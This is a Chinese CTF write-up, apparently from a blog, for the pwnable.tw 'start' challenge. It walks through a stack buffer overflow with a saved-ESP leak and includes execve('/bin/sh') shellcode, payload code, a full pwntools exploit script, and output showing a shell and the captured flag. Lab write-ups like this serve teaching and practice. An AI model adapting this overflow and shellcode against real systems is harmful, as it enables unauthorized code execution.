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< h1 id = "Pwnable-tw-start" > < a href = "#Pwnable-tw-start" class = "headerlink" title = "Pwnable.tw start" > < / a > < a href = "http://pwnable.tw/" target = "_blank" rel = "noopener" > Pwnable.tw< / a > start< / h1 > < p > 程序链接:< a href = "https://pwnable.tw/static/chall/start" target = "_blank" rel = "noopener" > https://pwnable.tw/static/chall/start< / a > < / p >
< h2 id = "0x01-检查保护情况" > < a href = "#0x01-检查保护情况" class = "headerlink" title = "0x01 检查保护情况" > < / a > 0x01 检查保护情况< / h2 > < p > 不得不说,< a href = "http://www.trapkit.de/tools/checksec.html" target = "_blank" rel = "noopener" > checksec< / a > 这个工作看似简单, 用用现成工具就行, 但这决定了我们之后漏洞利用的方式, 是否栈代码执行, 还是ROP。< br > 最好多用几个工具进行检查, 兼听则明。比如这个程序用peda检查就开启了NX, 但实际上并没有。所以理想的话, 把shellcode布置到栈上就可以了! < / p >
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< figure class = "highlight shell" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > < span class = "meta" > $< / span > checksec ./start< / span > < br > < span class = "line" > Arch: i386-32-little< / span > < br > < span class = "line" > RELRO: No RELRO< / span > < br > < span class = "line" > Stack: No canary found< / span > < br > < span class = "line" > NX: NX disabled< / span > < br > < span class = "line" > PIE: No PIE (0x8048000)< / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
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< p > < strong > RELRO(Relocation Read Only):尽量使存储区域只读< / strong > < / p >
< h2 id = "0x02-漏洞分析" > < a href = "#0x02-漏洞分析" class = "headerlink" title = "0x02 漏洞分析" > < / a > 0x02 漏洞分析< / h2 > < p > 用IDA逆向分析, 汇编代码< / p >
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< figure class = "highlight c" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < span class = "line" > 16< / span > < br > < span class = "line" > 17< / span > < br > < span class = "line" > 18< / span > < br > < span class = "line" > 19< / span > < br > < span class = "line" > 20< / span > < br > < span class = "line" > 21< / span > < br > < span class = "line" > 22< / span > < br > < span class = "line" > 23< / span > < br > < span class = "line" > 24< / span > < br > < span class = "line" > 25< / span > < br > < span class = "line" > 26< / span > < br > < span class = "line" > 27< / span > < br > < span class = "line" > 28< / span > < br > < span class = "line" > 29< / span > < br > < span class = "line" > 30< / span > < br > < span class = "line" > 31< / span > < br > < span class = "line" > 32< / span > < br > < span class = "line" > 33< / span > < br > < span class = "line" > 34< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > 保存现场环境esp、_exit< / span > < br > < span class = "line" > .text:< span class = "number" > 08048060< / span > push esp< / span > < br > < span class = "line" > .text:< span class = "number" > 08048061< / span > push offset _exit< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > 清空寄存器EAX EBX ECX EDX< / span > < br > < span class = "line" > .text:< span class = "number" > 08048066< / span > xor eax, eax< / span > < br > < span class = "line" > .text:< span class = "number" > 08048068< / span > xor ebx, ebx< / span > < br > < span class = "line" > .text:< span class = "number" > 0804806< / span > A xor ecx, ecx< / span > < br > < span class = "line" > .text:< span class = "number" > 0804806< / span > C xor edx, edx< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > 向栈上压入参数< / span > < br > < span class = "line" > .text:< span class = "number" > 0804806< / span > E push < span class = "number" > 3< / span > A465443h CTF:< / span > < br > < span class = "line" > .text:< span class = "number" > 08048073< / span > push < span class = "number" > 20656874< / span > h the< / span > < br > < span class = "line" > .text:< span class = "number" > 08048078< / span > push < span class = "number" > 20747261< / span > h art< / span > < br > < span class = "line" > .text:< span class = "number" > 0804807< / span > D push < span class = "number" > 74732073< / span > h s st< / span > < br > < span class = "line" > .text:< span class = "number" > 08048082< / span > push < span class = "number" > 2774654< / span > Ch Let’ < / span > < br > < span class = "line" > < / span > < br > < span class = "line" > 系统调用< span class = "number" > 80< / span > h< / span > < br > < span class = "line" > .text:< span class = "number" > 08048087< / span > mov ecx, esp ; addr< / span > < br > < span class = "line" > .text:< span class = "number" > 08048089< / span > mov dl, < span class = "number" > 14< / span > h ; len< / span > < br > < span class = "line" > .text:< span class = "number" > 0804808B< / span > mov bl, < span class = "number" > 1< / span > ; fd< / span > < br > < span class = "line" > .text:< span class = "number" > 0804808< / span > D mov al, < span class = "number" > 4< / span > < / span > < br > < span class = "line" > .text:< span class = "number" > 0804808F< / span > < span class = "keyword" > int< / span > < span class = "number" > 80< / span > h ; LINUX - sys_write< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > 系统调用< span class = "number" > 80< / span > h< / span > < br > < span class = "line" > .text:< span class = "number" > 08048091< / span > xor ebx, ebx< / span > < br > < span class = "line" > .text:< span class = "number" > 08048093< / span > mov dl, < span class = "number" > 3< / span > Ch< / span > < br > < span class = "line" > .text:< span class = "number" > 08048095< / span > mov al, < span class = "number" > 3< / span > < / span > < br > < span class = "line" > .text:< span class = "number" > 080
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< h3 id = "INT-80h-系统调用方法" > < a href = "#INT-80h-系统调用方法" class = "headerlink" title = "INT 80h 系统调用方法" > < / a > < strong > INT 80h 系统调用方法< / strong > < / h3 > < p > < strong > 系统调用的过程< / strong > 可以总结如下:< br > 1. 执行用户程序(如:fork)< br > 2. 根据glibc中的函数实现, 取得系统调用号并执行int $0x80产生中断。< br > 3. 进行地址空间的转换和堆栈的切换, 执行SAVE_ALL。( 进行内核模式) < br > 4. 进行中断处理,根据系统调用表调用内核函数。< br > 5. 执行内核函数。< br > 6. 执行RESTORE_ALL并返回用户模式< br > Linux 32位的系统调用时通过int 80h来实现的, eax寄存器中为调用的功能号, ebx、ecx、edx、esi等等寄存器则依次为参数。< / p >
< p > < a href = "http://syscalls.kernelgrok.com/" target = "_blank" rel = "noopener" > 关于系统调用的功能号< / a > : < / p >
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< figure class = "highlight shell" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > < span class = "meta" > #< / span > define __NR_exit 1< / span > < br > < span class = "line" > < span class = "meta" > #< / span > define __NR_fork 2< / span > < br > < span class = "line" > < span class = "meta" > #< / span > define __NR_read 3< / span > < br > < span class = "line" > < span class = "meta" > #< / span > define __NR_write 4< / span > < br > < span class = "line" > < span class = "meta" > #< / span > define __NR_open 5< / span > < br > < span class = "line" > < span class = "meta" > #< / span > define __NR_close 6< / span > < br > < span class = "line" > < span class = "meta" > #< / span > define __NR_waitpid 7< / span > < br > < span class = "line" > < span class = "meta" > #< / span > define __NR_creat 8< / span > < br > < span class = "line" > < span class = "meta" > #< / span > define __NR_link 9< / span > < br > < span class = "line" > < span class = "meta" > #< / span > define __NR_unlink 10< / span > < br > < span class = "line" > < span class = "meta" > #< / span > define __NR_execve 11< / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
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< p > < strong > 第一个系统调用:< / strong > < br > 将esp开始的14h字节数据写入标准输出( 文件描述符1) , 即输出”Let’ s start the CTF:“< / p >
< table >
< thead >
< tr >
< th > name< / th >
< th > eax< / th >
< th > ebx< / th >
< th > ecx< / th >
< th > edx< / th >
< / tr >
< / thead >
< tbody >
< tr >
< td > < a href = "http://www.kernel.org/doc/man-pages/online/pages/man2/write.2.html" target = "_blank" rel = "noopener" > sys_write< / a > < / td >
< td > 0x04< / td >
< td > unsigned int fd = 1< / td >
< td > const char __user *buf = esp< / td >
< td > size_t count =14h< / td >
< / tr >
< tr >
< td > —< / td >
< td > —< / td >
< td > —< / td >
< td > —< / td >
< td > —< / td >
< / tr >
< / tbody >
< / table >
< p > < strong > 第二个系统调用:< / strong > < br > 从标准输入读取3ch字节到栈空间< / p >
< table >
< thead >
< tr >
< th > name< / th >
< th > eax< / th >
< th > ebx< / th >
< th > ecx< / th >
< th > edx< / th >
< / tr >
< / thead >
< tbody >
< tr >
< td > < a href = "http://www.kernel.org/doc/man-pages/online/pages/man2/read.2.html" target = "_blank" rel = "noopener" > sys_read< / a > < / td >
< td > 0x03< / td >
< td > unsigned int fd = 1< / td >
< td > char __user *buf = esp< / td >
< td > size_t count = 3ch< / td >
< / tr >
< tr >
< td > —< / td >
< td > —< / td >
< td > —< / td >
< td > —< / td >
< td > —< / td >
< / tr >
< / tbody >
< / table >
< h3 id = "栈变化情况" > < a href = "#栈变化情况" class = "headerlink" title = "栈变化情况" > < / a > 栈变化情况< / h3 > < ol >
< li > 程序执行到0804808F: sys_write< / li >
< / ol >
< p > 输出14h字节数据: Let’ s start the CTF:< / p >
< figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > +-----------------+ < ----< / span > < br > < span class = "line" > | Let’ | | < / span > < br > < span class = "line" > +-----------------+ |< / span > < br > < span class = "line" > | s st | |< / span > < br > < span class = "line" > +-----------------+ |< / span > < br > < span class = "line" > | art | 14h< / span > < br > < span class = "line" > +-----------------+ |< / span > < br > < span class = "line" > | the | |< / span > < br > < span class = "line" > +-----------------+ |< / span > < br > < span class = "line" > | CTF: | |< / span > < br > < span class = "line" > +-----------------+ < -----< / span > < br > < span class = "line" > | offset _exit |< / span > < br > < span class = "line" > +-----------------+< / span > < br > < span class = "line" > | Saved ESP |< / span > < br > < span class = "line" > H-> +-----------------+< / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
< ol >
< li > 08048097: sys_read< / li >
< / ol >
< p > read函数最多可以读取3ch字节, 超出了分配的空间, 可以用来覆盖ret_addr和esp。经调试验证, 20字节后覆盖ret, 24字节后覆盖esp。< / p >
< figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > gdb-peda$ pattern search< / span > < br > < span class = "line" > Registers contain pattern buffer:< / span > < br > < span class = "line" > EIP+0 found at offset: 20< / span > < br > < span class = "line" > Registers point to pattern buffer:< / span > < br > < span class = "line" > [ECX] --> offset 0 - size ~32< / span > < br > < span class = "line" > [ESP] --> offset 24 - size ~8< / span > < br > < span class = "line" > Pattern buffer found at:< / span > < br > < span class = "line" > 0xffcc2764 : offset 0 - size 30 ($sp + -0x18 [-6 dwords])< / span > < br > < span class = "line" > Reference to pattern buffer not found in memory< / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
< figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > +-----------------+ < ----< / span > < br > < span class = "line" > | aaaa | | < / span > < br > < span class = "line" > +-----------------+ |< / span > < br > < span class = "line" > | aaaa | |< / span > < br > < span class = "line" > +-----------------+ |< / span > < br > < span class = "line" > | aaaa | 14h< / span > < br > < span class = "line" > +-----------------+ |< / span > < br > < span class = "line" > | aaaa | |< / span > < br > < span class = "line" > +-----------------+ |< / span > < br > < span class = "line" > | aaaa | |< / span > < br > < span class = "line" > +-----------------+ < -----< / span > < br > < span class = "line" > | aaaa |< / span > < br > < span class = "line" > +-----------------+< / span > < br > < span class = "line" > | Saved ESP |< / span > < br > < span class = "line" > H-> +-----------------+< / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
< h2 id = "0x03-漏洞利用" > < a href = "#0x03-漏洞利用" class = "headerlink" title = "0x03 漏洞利用" > < / a > 0x03 漏洞利用< / h2 > < h3 id = "利用思路" > < a href = "#利用思路" class = "headerlink" title = "利用思路" > < / a > 利用思路< / h3 > < p > 现在EIP已经在我们的掌控之中了, 关键是如何跳转到布置的shell code中。一般来说, 首先会去找JMP ESP指令, 这样就能让shellcode获得执行。但这段汇编代码没有, 可以利用的只有read和write。如果可以write出Saved ESP的地址, 然后覆盖掉offset _exit, 就能成功shell。< / p >
< ol >
< li > 泄露Saved ESP< / li >
< / ol >
2019-11-12 13:07:08 +00:00
< figure class = "highlight python" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > start = p.recvuntil(< span class = "string" > ':'< / span > ) //等待write执行完毕< / span > < br > < span class = "line" > payload = 'a'*0x14 + p32(0x08048087) //发送溢出数据, 覆盖ret为0x08048087-> 输出14h字节< / span > < br > < span class = "line" > p.send(payload)< / span > < br > < span class = "line" > data = p.recv() //接收输出数据, 其中就有Saved ESP< / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
2019-10-25 13:13:53 +00:00
< p > debug过程: < / p >
2019-11-12 13:07:08 +00:00
< figure class = "highlight shell" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > [DEBUG] Received 0x14 bytes:< / span > < br > < span class = "line" > "Let's start the CTF:"< / span > < br > < span class = "line" > [DEBUG] Sent 0x18 bytes:< / span > < br > < span class = "line" > 00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│< / span > < br > < span class = "line" > 00000010 61 61 61 61 87 80 04 08 │aaaa│····││< / span > < br > < span class = "line" > 00000018< / span > < br > < span class = "line" > [DEBUG] Received 0x14 bytes:< / span > < br > < span class = "line" > 00000000 **20 53 81**** ff** 01 00 00 00 58 6d 81 ff 00 00 00 00 │ S··│····│Xm··│····│< / span > < br > < span class = "line" > 00000010 60 6d 81 ff │`m··││< / span > < br > < span class = "line" > 00000014< / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
2019-10-25 13:13:53 +00:00
< ol start = "2" >
< li > 覆盖RET< / li >
< / ol >
< p > 此时程序已经泄露出之前的Saved_esp, 栈的情况已经摸清了, 然后程序继续执行read, 注意read完 add esp, 14h后再ret, 因此, ret_addr在esp+14h的地方。< / p >
2019-11-12 13:07:08 +00:00
< figure class = "highlight python" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > payload = < span class = "string" > 'a'< / span > *< span class = "number" > 0x14< / span > + p32(saved_esp + < span class = "number" > 20< / span > ) + shellcode< / span > < br > < span class = "line" > < span class = "keyword" > print< / span > p32(saved_esp)< / span > < br > < span class = "line" > p.send(payload)< / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
2019-10-25 13:13:53 +00:00
< ol start = "3" >
< li > shellcode< / li >
< / ol >
< p > shellcode同样可以用系统调用的方式执行execve(“/bin/sh”,NULL,NULL)< / p >
< table >
< thead >
< tr >
< th > name< / th >
< th > eax< / th >
< th > ebx< / th >
< th > ecx< / th >
< th > edx< / th >
< th > esi< / th >
< / tr >
< / thead >
< tbody >
< tr >
< td > < a href = "http://www.kernel.org/doc/man-pages/online/pages/man2/execve.2.html" target = "_blank" rel = "noopener" > sys_execve< / a > < / td >
< td > 0x0b< / td >
< td > char __user *< / td >
< td > char < strong > user *< / strong > user *< / td >
< td > char < strong > user *< / strong > user *< / td >
< td > < a href = "http://lxr.free-electrons.com/source/arch/alpha/include/asm/ptrace.h?v=2.6.35#L19" target = "_blank" rel = "noopener" > struct pt_regs< / a > < / td >
< / tr >
< tr >
< td > —< / td >
< td > —< / td >
< td > —< / td >
< td > —< / td >
< td > —< / td >
< td > —< / td >
< / tr >
< / tbody >
< / table >
< p > 其中,该程序是 32 位,所以我们需要使得< / p >
< ul >
< li > 系统调用号,即 eax 应该为 0xb< / li >
< li > 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。< / li >
< li > 第二个参数,即 ecx 应该为 0< / li >
< li > 第三个参数,即 edx 应该为 0< / li >
< / ul >
2019-11-12 13:07:08 +00:00
< figure class = "highlight c" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > xor eax,eax < span class = "comment" > //清空eax< / span > < / span > < br > < span class = "line" > push eax < span class = "comment" > //0入栈, 当作字符/bin/sh结尾< / span > < / span > < br > < span class = "line" > push '/sh'< / span > < br > < span class = "line" > push '/bin' //'/sh'为3字节, 未对齐' -> '/sh\0'或//sh< / span > < br > < span class = "line" > mov ebx, esp < span class = "comment" > //指向/bin/sh地址< / span > < / span > < br > < span class = "line" > xor ecx,ecx< / span > < br > < span class = "line" > xor edx,edx< / span > < br > < span class = "line" > mov al, < span class = "number" > 0xb< / span > < span class = "comment" > //系统调用号< / span > < / span > < br > < span class = "line" > < span class = "keyword" > int< / span > < span class = "number" > 80< / span > < / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
< figure class = "highlight" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > shellcode=< span class = "string" > '''< / span > < / span > < br > < span class = "line" > xor eax,eax< / span > < br > < span class = "line" > push eax< / span > < br > < span class = "line" > push %s< / span > < br > < span class = "line" > push %s< / span > < br > < span class = "line" > mov ebx, esp< / span > < br > < span class = "line" > xor ecx,ecx< / span > < br > < span class = "line" > xor edx,edx< / span > < br > < span class = "line" > mov al, < span class = "number" > 0xb< / span > < / span > < br > < span class = "line" > int 0x80''' %(u32('/sh\0'),u32('/bin'))< / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
2019-10-25 13:13:53 +00:00
< p > 使用asm(shellcode)来进行汇编,可以使用context来指定cpu类型以及操作系统, 如context(arch = ‘ amd64’ , os = ‘ linux’ , log_level=”debug”)< / p >
< h3 id = "Catch-THE-FLAG" > < a href = "#Catch-THE-FLAG" class = "headerlink" title = "Catch THE FLAG" > < / a > Catch THE FLAG< / h3 > < figure class = "highlight python" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < span class = "line" > 16< / span > < br > < span class = "line" > 17< / span > < br > < span class = "line" > 18< / span > < br > < span class = "line" > 19< / span > < br > < span class = "line" > 20< / span > < br > < span class = "line" > 21< / span > < br > < span class = "line" > 22< / span > < br > < span class = "line" > 23< / span > < br > < span class = "line" > 24< / span > < br > < span class = "line" > 25< / span > < br > < span class = "line" > 26< / span > < br > < span class = "line" > 27< / span > < br > < span class = "line" > 28< / span > < br > < span class = "line" > 29< / span > < br > < span class = "line" > 30< / span > < br > < span class = "line" > 31< / span > < br > < span class = "line" > 32< / span > < br > < span class = "line" > 33< / span > < br > < span class = "line" > 34< / span > < br > < span class = "line" > 35< / span > < br > < span class = "line" > 36< / span > < br > < span class = "line" > 37< / span > < br > < span class = "line" > 38< / span > < br > < span class = "line" > 39< / span > < br > < span class = "line" > 40< / span > < br > < span class = "line" > 41< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > < span class = "keyword" > from< / span > pwn < span class = "keyword" > import< / span > *< / span > < br > < span class = "line" > < span class = "keyword" > from< / span > binascii < span class = "keyword" > import< / span > *< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > shellcode=< span class = "string" > '''< / span > < / span > < br > < span class = "line" > < span class = "string" > xor eax,eax< / span > < / span > < br > < span class = "line" > < span class = "string" > push eax< / span > < / span > < br > < span class = "line" > < span class = "string" > push %s< / span > < / span > < br > < span class = "line" > < span class = "string" > push %s< / span > < / span > < br > < span class = "line" > < span class = "string" > mov ebx, esp< / span > < / span > < br > < span class = "line" > < span class = "string" > xor ecx,ecx< / span > < / span > < br > < span class = "line" > < span class = "string" > xor edx,edx< / span > < / span > < br > < span class = "line" > < span class = "string" > mov al, 0xb< / span > < / span > < br > < span class = "line" > < span class = "string" > int 0x80'''< / span > %(u32(< span class = "string" > '/sh\0'< / span > ),u32(< span class = "string" > '/bin'< / span > ))< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > < span class = "function" > < span class = "keyword" > def< / span > < span class = "title" > dbg< / span > < span class = "params" > ()< / span > :< / span > < / span > < br > < span class = "line" > p = process(< span class = "string" > './start'< / span > )< / span > < br > < span class = "line" > context.terminal = [< span class = "string" > 'gnome-terminal'< / span > , < span class = "string" > '-x'< / span > , < span class = "string" > 'sh'< / span > , < span class = "string" > '-c'< / span > ]< / span > < br > < span class = "line" > context.log_level = < span class = "string" > 'debug'< / span > < / span > < br > < span class = "line" > gdb.attach(proc.pidof(p)[< span class = "number" > 0< / span > ])< / span > < br > < span class = "line" > pause()< / span > < br > < span class = "line" > < span class = "keyword" > return< / span > p< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > < span class = "function" > < span class = "keyword" > def< / span > < span class = "title" > leak_esp< / span > < span class = "params" > (p)< / span > :< / span > < / span > < br > < span class = "line" > start = p.recvuntil(< span class = "string" > ':'< / span > )< / span > < br > < span class = "line" > payload = < span class = "string" > 'a'< / span > *< span class = "number" > 0x14< / span > + p32(< span class = "number" > 0x08048087< / span > )< / span > < br > < span class = "line" > p.send(payload)< / span > < br > < span class = "line" > saved_esp = p.recv()[:< span class = "number" > 4< / span > ]< / span > < br > < span class = "line" > < span class = "keyword" > return< / span > u32(saved_esp)< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > < span class = "function" > < span class = "keyword" > def< / span > < span class = "title" > pwn< / span > < span class = "params" >
< figure class = "highlight shell" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > < span class = "meta" > $< / span > python ./start.py< / span > < br > < span class = "line" > [+] Opening connection to chall.pwnable.tw on port 10000: Done< / span > < br > < span class = "line" > leak saved_esp: 0xffb43704< / span > < br > < span class = "line" > [*] Switching to interactive mode< / span > < br > < span class = "line" > < span class = "meta" > $< / span > whoami< / span > < br > < span class = "line" > start< / span > < br > < span class = "line" > < span class = "meta" > $< / span > find -name flag< / span > < br > < span class = "line" > ./home/start/flag< / span > < br > < span class = "line" > < span class = "meta" > $< / span > cat ./home/start/flag< / span > < br > < span class = "line" > FLAG{ Pwn4bl3_tW_1s_y0ur_st4rt} < / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
< h2 id = "REF" > < a href = "#REF" class = "headerlink" title = "REF" > < / a > REF< / h2 > < p > < a href = "https://introspelliam.github.io/2017/08/06/pwn/%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8%E7%BA%A6%E5%AE%9A/" target = "_blank" rel = "noopener" > Linux 系统调用< / a > < / p >
< p > < strong > pwntools使用< / strong > < br > < a href = "http://brieflyx.me/2015/python-module/pwntools-intro/" target = "_blank" rel = "noopener" > http://brieflyx.me/2015/python-module/pwntools-intro/< / a > < br > < a href = "https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop-zh/" target = "_blank" rel = "noopener" > https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop-zh/< / a > < br > < a href = "https://tianstcht.github.io/pwntools%E7%9A%84%E4%BD%BF%E7%94%A8%E6%8A%80%E5%B7%A7/" target = "_blank" rel = "noopener" > https://tianstcht.github.io/pwntools%E7%9A%84%E4%BD%BF%E7%94%A8%E6%8A%80%E5%B7%A7/< / a > < / p >
< / div >
< div >
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